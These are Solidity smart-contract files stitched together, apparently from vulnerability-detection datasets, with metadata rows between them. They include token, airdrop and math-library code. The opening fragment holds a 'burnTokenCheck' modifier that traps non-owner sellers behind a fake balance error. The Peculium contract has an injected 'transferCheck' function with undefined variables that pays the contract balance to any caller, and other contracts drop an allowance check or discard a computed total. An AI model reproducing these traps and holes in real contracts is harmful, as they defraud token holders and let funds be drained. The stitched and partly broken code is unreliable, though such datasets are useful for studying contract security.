emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 256,618 | 14,129 |
325d3b9b7395a53a2eb0899b5a9d6eea03503dfed7c1764a8902b9b50bc134dd
| 14,436 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe76900a5f84c08e21ac94f3bcdb1bc90568bf8fc.sol
| 2,760 | 11,192 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract YKCToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function YKCToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 194,628 | 14,130 |
30674a79af3e2dbc7f8c49de04540a72aeb9751554cb83163011da58c62afe12
| 12,899 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe04ed83230374b51d17c96866fde24c0f99b6377.sol
| 2,979 | 10,011 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract Delivery is Ownable{
using SafeMath for uint256;
uint256 public Airdropsamount; // Airdrop total amount
uint256 public decimals; // decimal of the token
Peculium public pecul; // token Peculium
bool public initPecul; // We need first to init the Peculium Token address
event AirdropOne(address airdropaddress,uint256 nbTokenSendAirdrop); // Event for one airdrop
event AirdropList(address[] airdropListAddress,uint256[] listTokenSendAirdrop); // Event for all the airdrop
event InitializedToken(address contractToken);
//Constructor
function Delivery(){
Airdropsamount = 28000000; // We allocate 28 Millions token for the airdrop (maybe to change)
initPecul = false;
}
function InitPeculiumAdress(address peculAdress) onlyOwner
{ // We init the Peculium token address
pecul = Peculium(peculAdress);
decimals = pecul.decimals();
initPecul = true;
InitializedToken(peculAdress);
}
function airdropsTokens(address[] _vaddr, uint256[] _vamounts) onlyOwner Initialize NotEmpty
{
require (Airdropsamount >0);
require (_vaddr.length == _vamounts.length);
//Looping into input arrays to assign target amount to each given address
uint256 amountToSendTotal = 0;
for (uint256 indexTest=0; indexTest<_vaddr.length; indexTest++) // We first test that we have enough token to send
{
amountToSendTotal.add(_vamounts[indexTest]);
}
require(amountToSendTotal<=Airdropsamount); // If no enough token, cancel the sell
for (uint256 index=0; index<_vaddr.length; index++)
{
address toAddress = _vaddr[index];
uint256 amountTo_Send = _vamounts[index].mul(10 ** decimals);
pecul.transfer(toAddress,amountTo_Send);
AirdropOne(toAddress,amountTo_Send);
}
Airdropsamount = Airdropsamount.sub(amountToSendTotal);
AirdropList(_vaddr,_vamounts);
}
modifier NotEmpty {
require (Airdropsamount>0);
_;
}
modifier Initialize {
require (initPecul==true);
_;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable { // Our token is a standard ERC20 Token with burnable and ownable aptitude
using SafeMath for uint256; // We use safemath to do basic math operation (+,-,*,/)
using SafeERC20 for ERC20Basic;
string public name = "Peculium"; //token name
string public symbol = "PCL"; // token symbol
uint256 public decimals = 8; // token number of decimal
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8; // The max cap is 20 Billion Peculium
uint256 public dateStartContract; // The date of the deployment of the token
mapping(address => bool) public balancesCanSell; // The boolean variable, to frost the tokens
uint256 public dateDefrost; // The date when the owners of token can defrost their tokens
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
//Constructor
function Peculium() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply; // At the beginning, the owner has all the tokens.
balancesCanSell[owner] = true; // The owner need to sell token for the private sale and for the preICO, ICO.
dateStartContract=now;
dateDefrost = dateStartContract + 85 days; // everybody can defrost his own token after the 25 january 2018 (85 days after 1 November)
}
function defrostToken() public
{ // Function to defrost your own token, after the date of the defrost
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{ // We overright the transfer function to allow freeze possibility
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{ // We overright the transferFrom function to allow freeze possibility (need to allow before)
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{ // Return info about the public address and balance of the account of the owner of the contract
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
function transferCheck() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 202,716 | 14,131 |
6f1b472da105d508c075b9ba86e6e52cc1068b6ccbe99f3e17824515c67dd356
| 27,258 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/27/271f9abd329c2a57fa2d61e4751605d9a28eef8a_Airdrop.sol
| 2,875 | 11,380 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Token is ERC20 {}
contract Airdrop is Ownable {
using SafeMath for uint;
event EtherTransfer(address beneficiary, uint amount);
address public _tokenContract;
uint256 public _airdropAmount;
// fee 1000000000000000 = 0.001 ETH and set it 0 if no fees
uint256 public _fee = 400000000000000;
constructor(address tokenContract, uint256 airdropAmount) public {
_tokenContract = tokenContract;
_airdropAmount = airdropAmount;
}
function Claim() public payable returns (bool) {
require(msg.value >= _fee, "Not enough cash");
require(Token(_tokenContract).balanceOf(msg.sender) < _airdropAmount);
require(Token(_tokenContract).transfer(msg.sender, _airdropAmount));
return true;
}
function setTokenContract(address tokenContract) external onlyOwner {
_tokenContract = tokenContract;
}
function setAirdropAmount(uint256 airdropAmount) external onlyOwner {
_airdropAmount = airdropAmount;
}
function setFee(uint256 fee) external onlyOwner {
_fee = fee;
}
function tokenBalance(address _tokenAddr) public view returns (uint256) {
return Token(_tokenAddr).balanceOf(address(this));
}
function withdrawTokens(address beneficiary, address _tokenAddr) public onlyOwner {
require(Token(_tokenAddr).transfer(beneficiary, Token(_tokenAddr).balanceOf(address(this))));
}
function withdrawEther(address payable beneficiary) public onlyOwner {
beneficiary.transfer(address(this).balance);
}
}
| 57,183 | 14,132 |
3cd244b4be486352b4080856c243b83df338006b21aa262cff282d9aff356388
| 13,808 |
.sol
|
Solidity
| false |
179602259
|
aoli-al/Solythesis
|
88e91e5fb44201acdcc7d97e80fa8d4c9fcc620e
|
tests/dai.sol
| 3,595 | 13,196 |
pragma solidity ^0.5.0;
////// lib/ds-math/src/math.sol
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
////// lib/ds-stop/lib/ds-auth/src/auth.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
////// lib/ds-stop/lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSNote {
event LogNote(bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
////// lib/ds-stop/src/stop.sol
/// stop.sol -- mixin for enable/disable functionality
